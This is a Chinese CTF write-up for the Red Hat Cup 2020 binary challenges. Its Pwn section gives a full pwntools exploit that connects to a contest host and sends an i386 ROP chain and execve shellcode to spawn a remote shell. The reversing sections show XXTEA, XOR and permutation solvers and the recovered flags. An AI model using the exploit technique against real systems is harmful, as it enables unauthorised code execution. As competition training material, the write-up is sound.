CTF比赛 January 03, 2020

红帽杯CTF线上赛二进制部分wp

Words count 64k Reading time 59 mins. Read count 0

一、Pwn

1、three | solved

img

这题看到程序输入3字节后有个call指令,可以执行命令:
img
所以填入机器码,利用mov指令跳转到ecx寄存器(rcx正好有我们后面的输入的bss的地址),就可跳到bss地址执行我们的静态ropchain,直接getshell~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#coding=utf8
from pwn import *
from struct import pack
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 0
elf = ELF('./pwn1')
#标志位,0和1
if local:
sh = process('./pwn1')
libc = elf.libc

else:
sh = remote('47.104.190.38',12001)
#shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
ret_addr = 0x080F6CC0
# E9 84 0F
flag = 0x80C478A
bss = elf.bss() + 0x200
pop_eax_ret = 0x080c11e6
pop_ecx_ebx_ret = 0x08072fb2
pop_edx_ret = 0x08072f8b
int_80 = 0x08049903
p = ''
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5004) # @ .data + 4
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d9) # pop ebx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x08072fb2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080f5000) # padding without overwrite ebx
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x08049903) # int 0x80

# gdb.attach(sh,'b *0x08048C4B')
sh.recvuntil("Give me a index:")
sh.sendline('3')
sh.recvuntil("I like it very much!")
sh.sendline('\x89\xcc\xc3')
sh.recvuntil("Leave you name of size:")
sh.sendline(str(0x200))
sh.recvuntil("Tell me:")
sh.sendline(p)
sh.interactive()

这次的pwn题太难了,只有1题可以做,心塞塞~

二、Re

1、xx

这题一共3关,ida分析程序先:

57365599750

这里一波操作看不懂没关系,我们x64debug下就会发现,是将输入的前4字节作为后面xxtea算法的key的前4字节,后面3字节都是’\x00\x00\x00\x00’,根据输入是完整格式flag{xxxxxxxxxxxx},而key是取了输入的前4字节,所以可以动态调试,可以提取出key就是flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

57365607842

key处理好了后,就进行xxtea的加密,这里没有魔改代码,所以可以直接上脚本解密。

第二关是置换这个简单,知道了密文就可还原回去:

57365618558

第三关是迭代异或:

57365622202

这里静态分析可能有点辛苦(ACM底子差哎,我直接跟汇编动态调试出来了算法) img
这里可以写个脚本直接异或回去,脚本10分钟,手撕5分钟,比赛时直接照着汇编结果手撕计算了,这里肯定可以写个脚本逆向一下。

接着有个cmp的比较,所以我们知道密文:

57365635919

下面一步步反解回去:

1、提取出密文,x64动态调试时,直接内存提取或者ida直接小端序提取:

1
data = [0xCE,0xBC,0x40,0x6B,0x7C,0x3A,0x95,0xC0,0xEF,0x9B,0x20,0x20,0x91,0xF7,0x02,0x35,0x23,0x18,0x02,0xC8,0xE7,0x56,0x56,0xFA]

2、迭代异或解密:

1
2
3
4
5
6
7
8
9
#coding=utf8
import struct
data = [0xCE,0xBC,0x40,0x6B,0x7C,0x3A,0x95,0xC0,0xEF,0x9B,0x20,0x20,0x91,0xF7,0x02,0x35,0x23,0x18,0x02,0xC8,0xE7,0x56,0x56,0xFA]
for i in xrange(23,0,-1):
for j in xrange(0,i//3,1):
data[i] ^= data[j]
store = data
print store
#store = [0xCE,0xBC,0x40,0xA5,0xB2,0xF4,0xe7,0xb2,0x9d,0xA9,0x12,0x12,0xc8,0xAE,0x5B,0x10,0x6,0x3d,0x1d,0xd7,0xf8,0xdc,0xdc,0x70]

3、置换解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
store = [0xCE,0xBC,0x40,0xA5,0xB2,0xF4,0xe7,0xb2,0x9d,0xA9,0x12,0x12,0xc8,0xAE,0x5B,0x10,0x6,0x3d,0x1d,0xd7,0xf8,0xdc,0xdc,0x70]
miwen = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
miwen[2]=store[0]
miwen[0]=store[1]
miwen[3]=store[2]
miwen[1]=store[3]
miwen[6]=store[4]
miwen[4]=store[5]
miwen[7]=store[6]
miwen[5]=store[7]
miwen[10]=store[8]
miwen[8]=store[9]
miwen[11]=store[10]
miwen[9]=store[11]
miwen[14]=store[12]
miwen[12]=store[13]
miwen[15]=store[14]
miwen[13]=store[15]
miwen[18]=store[16]
miwen[16]=store[17]
miwen[19]=store[18]
miwen[17]=store[19]
miwen[22]=store[20]
miwen[20]=store[21]
miwen[23]=store[22]
miwen[21]=store[23]
print miwen

4、xxtea解密,这里将miwen转成字节流即change:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
change = '\xbc\xa5\xce\x40\xf4\xb2\xb2\xe7\xa9\x12\x9d\x12\xae\x10\xc8\x5b\x3d\xd7\x06\x1d\xdc\x70\xf8\xdc'

key = "flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

_DELTA = 0x9E3779B9

def _long2str(v, w):
n = (len(v) - 1) << 2
if w:
m = v[-1]
if (m < n - 3) or (m > n): return ''
n = m
s = struct.pack('<%iL' % len(v), *v)
return s[0:n] if w else s

def _str2long(s, w):
n = len(s)
m = (4 - (n & 3) & 3) + n
s = s.ljust(m, "\0")
v = list(struct.unpack('<%iL' % (m >> 2), s))
if w: v.append(n)
return v

def encrypt(str, key):
if str == '': return str
v = _str2long(str, True)
k = _str2long(key.ljust(16, "\0"), False)
n = len(v) - 1
z = v[n]
y = v[0]
sum = 0
q = 6 + 52 // (n + 1)
while q > 0:
sum = (sum + _DELTA) & 0xffffffff
e = sum >> 2 & 3
for p in xrange(n):
y = v[p + 1]
v[p] = (v[p] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
z = v[p]
y = v[0]
v[n] = (v[n] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[n & 3 ^ e] ^ z))) & 0xffffffff
z = v[n]
q -= 1
return _long2str(v, False)

def decrypt(str, key):
if str == '': return str
v = _str2long(str, False)
k = _str2long(key.ljust(16, "\0"), False)
n = len(v) - 1
z = v[n]
y = v[0]
q = 6 + 52 // (n + 1)
sum = (q * _DELTA) & 0xffffffff
while (sum != 0):
e = sum >> 2 & 3
for p in xrange(n, 0, -1):
z = v[p - 1]
v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
y = v[p]
z = v[n]
v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff
y = v[0]
sum = (sum - _DELTA) & 0xffffffff
return _long2str(v, True)

if __name__ == "__main__":
b = decrypt(change,key)
print b
#flag{CXX_and_++tea}

这是完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#coding=utf8
import struct
data = [0xCE,0xBC,0x40,0x6B,0x7C,0x3A,0x95,0xC0,0xEF,0x9B,0x20,0x20,0x91,0xF7,0x02,0x35,0x23,0x18,0x02,0xC8,0xE7,0x56,0x56,0xFA]

for i in xrange(23,0,-1):
for j in xrange(0,i//3,1):
data[i] ^= data[j]
store = data
print store
# store = [0xCE,0xBC,0x40,0xA5,0xB2,0xF4,0xe7,0xb2,0x9d,0xA9,0x12,0x12,0xc8,0xAE,0x5B,0x10,0x6,0x3d,0x1d,0xd7,0xf8,0xdc,0xdc,0x70]
miwen = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
miwen[2]=store[0]
miwen[0]=store[1]
miwen[3]=store[2]
miwen[1]=store[3]
miwen[6]=store[4]
miwen[4]=store[5]
miwen[7]=store[6]
miwen[5]=store[7]
miwen[10]=store[8]
miwen[8]=store[9]
miwen[11]=store[10]
miwen[9]=store[11]
miwen[14]=store[12]
miwen[12]=store[13]
miwen[15]=store[14]
miwen[13]=store[15]
miwen[18]=store[16]
miwen[16]=store[17]
miwen[19]=store[18]
miwen[17]=store[19]
miwen[22]=store[20]
miwen[20]=store[21]
miwen[23]=store[22]
miwen[21]=store[23]
print miwen
change = '\xbc\xa5\xce\x40\xf4\xb2\xb2\xe7\xa9\x12\x9d\x12\xae\x10\xc8\x5b\x3d\xd7\x06\x1d\xdc\x70\xf8\xdc'

key = "flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

_DELTA = 0x9E3779B9

def _long2str(v, w):
n = (len(v) - 1) << 2
if w:
m = v[-1]
if (m < n - 3) or (m > n): return ''
n = m
s = struct.pack('<%iL' % len(v), *v)
return s[0:n] if w else s

def _str2long(s, w):
n = len(s)
m = (4 - (n & 3) & 3) + n
s = s.ljust(m, "\0")
v = list(struct.unpack('<%iL' % (m >> 2), s))
if w: v.append(n)
return v

def encrypt(str, key):
if str == '': return str
v = _str2long(str, True)
k = _str2long(key.ljust(16, "\0"), False)
n = len(v) - 1
z = v[n]
y = v[0]
sum = 0
q = 6 + 52 // (n + 1)
while q > 0:
sum = (sum + _DELTA) & 0xffffffff
e = sum >> 2 & 3
for p in xrange(n):
y = v[p + 1]
v[p] = (v[p] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
z = v[p]
y = v[0]
v[n] = (v[n] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[n & 3 ^ e] ^ z))) & 0xffffffff
z = v[n]
q -= 1
return _long2str(v, False)

def decrypt(str, key):
if str == '': return str
v = _str2long(str, False)
k = _str2long(key.ljust(16, "\0"), False)
n = len(v) - 1
z = v[n]
y = v[0]
q = 6 + 52 // (n + 1)
sum = (q * _DELTA) & 0xffffffff
while (sum != 0):
e = sum >> 2 & 3
for p in xrange(n, 0, -1):
z = v[p - 1]
v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
y = v[p]
z = v[n]
v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff
y = v[0]
sum = (sum - _DELTA) & 0xffffffff
return _long2str(v, True)

if __name__ == "__main__":
b = decrypt(change,key)
print b

2.easyRE

一开始被坑了,base64一直解密出来一个网站,发现找不到flag,后来想到第一个输入的hint是找flag头,于是一个个找,发现了真正的主逻辑:
img
先通过flag字符和table前四个数异或解出key,这里把table和key字符异或就可出了:

1
2
3
4
5
6
7
flag = ""
t = [0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45,0x5B]
key = 0x26594131
k = [0x26,0x59,0x41,0x31]
for j in range(len(t)):
flag += chr(t[j] ^ k[j % 4])
print flag

3、childRE

直接分析主逻辑:

img
分析逻辑可以知道,这题有3关,第一关对输入进行了一个排序算法,这个好逆,第二关是把排完序的字符串进行了一个C++的函数名扩展修饰,就是那个系统调用UnDecorateSymbolName函数,使得31位的输入变成了62位,这一步我们可以通过自己写一个反解程序,通过修饰后的程序名得到修饰前的程序名,最后是一个简单的check,可以直接爆破得到我们修饰后的程序名,下面一步步反解:

1、先提取出数据并爆破得到我们的62位函数名密文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
a = "55565653255552225565565555243466334653663544426565555525555222"
b = "(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&"
table = '1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl\x27ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'

string = []
k = 0
for m in range(62):
for i in range(1000):
k = i % 23
p = i / 23
if table[p]==a[m] and table[k]==b[m]:
string.append(i)
break
print len(string)
aa = ''
for i in string:
aa += chr(i)
print aa
# aa = "private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)"

2、接着写VS2019写一个系统调用的反解程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream>
using namespace std;
class R0Pxx {
public:
R0Pxx(int val) {
unsigned char a = 0x41;
My_Aut0_PWN(&a);
}

private:
char* __thiscall My_Aut0_PWN(unsigned char* a) {
cout << "hello !";
printf("Decorated function name: %s\n", __FUNCDNAME__);
printf("Function signature: %s\n", __FUNCSIG__);
return 0;
};

};
int main() {
R0Pxx ropxx(1);
return 0;
}

我们运行下得到未修饰的程序名,是个31位的字符串,即我们的输入排序后的字符串:img

1
ip = "?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z"

3、排序算法逆向:

这里直接用一个小技巧,x64动态看内存,输入0到u的有序字符,调用完毕后,看内存提取出排完序的顺序,接着再写个脚本将密文对号入座即可,打比赛时,直接手撕:

57371401470

这里还是写个脚本跑一波:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kk = "0123456789abcdefghijklmnopqrstu"
gg = "fg7hi83jk9lma41nobpqc5rsdtue620"
ip = "?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z"
hh = []
for i in range(len(kk)):
hh.append(0)
for i in range(len(gg)):
for j in range(len(kk)):
if kk[j]==gg[i]:
hh[j]=ord(ip[i])
hh = map(chr,hh)
inpt = ""
for i in hh:
inpt += i
print inpt
# inpt = "Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP"
#这里直接替换会出问题,所以我用map实现间接转换

最后是完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import md5
a = "55565653255552225565565555243466334653663544426565555525555222"
b = "(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&"
table = '1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl\x27ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'

string = []
k = 0
for m in range(62):
for i in range(1000):
k = i % 23
p = i / 23
if table[p]==a[m] and table[k]==b[m]:
string.append(i)
break
print len(string)
aa = ''
for i in string:
aa += chr(i)
print aa
# aa = "private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)"
kk = "0123456789abcdefghijklmnopqrstu"
gg = "fg7hi83jk9lma41nobpqc5rsdtue620"
ip = "?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z"
hh = []
for i in range(len(kk)):
hh.append(0)
for i in range(len(gg)):
for j in range(len(kk)):
if kk[j]==gg[i]:
hh[j]=ord(ip[i])
hh = map(chr,hh)
inpt = ""
for i in hh:
inpt += i
print inpt
inpt = "Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP"
m1 = md5.new()
m1.update(inpt.encode(encoding='utf-8'))
print(m1.hexdigest())
#flag{63b148e750fed3a33419168ac58083f5}

4、calc

这题作者自己实现了一个大数运算,有3次输入,每次输入一个大整数,既可得到flag,然后通过调试和分析可以得到搞出关键性的check,前面的计算没有用到,白分析了哎,直接看分析出来的关键性check

1
((input1 + input2) * (input1 + input2) * (input1 + input2) - 3 * input1 * input2 * input2 - 3 * input2 * input1 * input1 == ((4 + input3) * (4 + input3) * (4 + input3) - (input3 * input3) * 12 - 48 * input3 - 22))

我们用x1,x2和x3表示3个输入,然后化简得到(x1+x2)^3-3x1x2x3-3x2x1^2==(4+x3)^3-12x3^2-48*x3-22将3次幂拆分成2次幂,然后再化简约去同类项可得:x1^3 + x2^3 +(-x3)^3 = 42,这里一开始用z3跑,用symp都跑不出来,申请写了3个for循环爆破,但是都出不了,后面上网谷歌,找到一篇文章:https://zhuanlan.zhihu.com/p/81655767
img
所以直接得到3个数:x1= 80435758145817515x2=12602123297335631x3= 80538738812075974输入程序最后拿到flag:flag{951e27be2b2f10b7fa22a6dc8f4682bd}

0%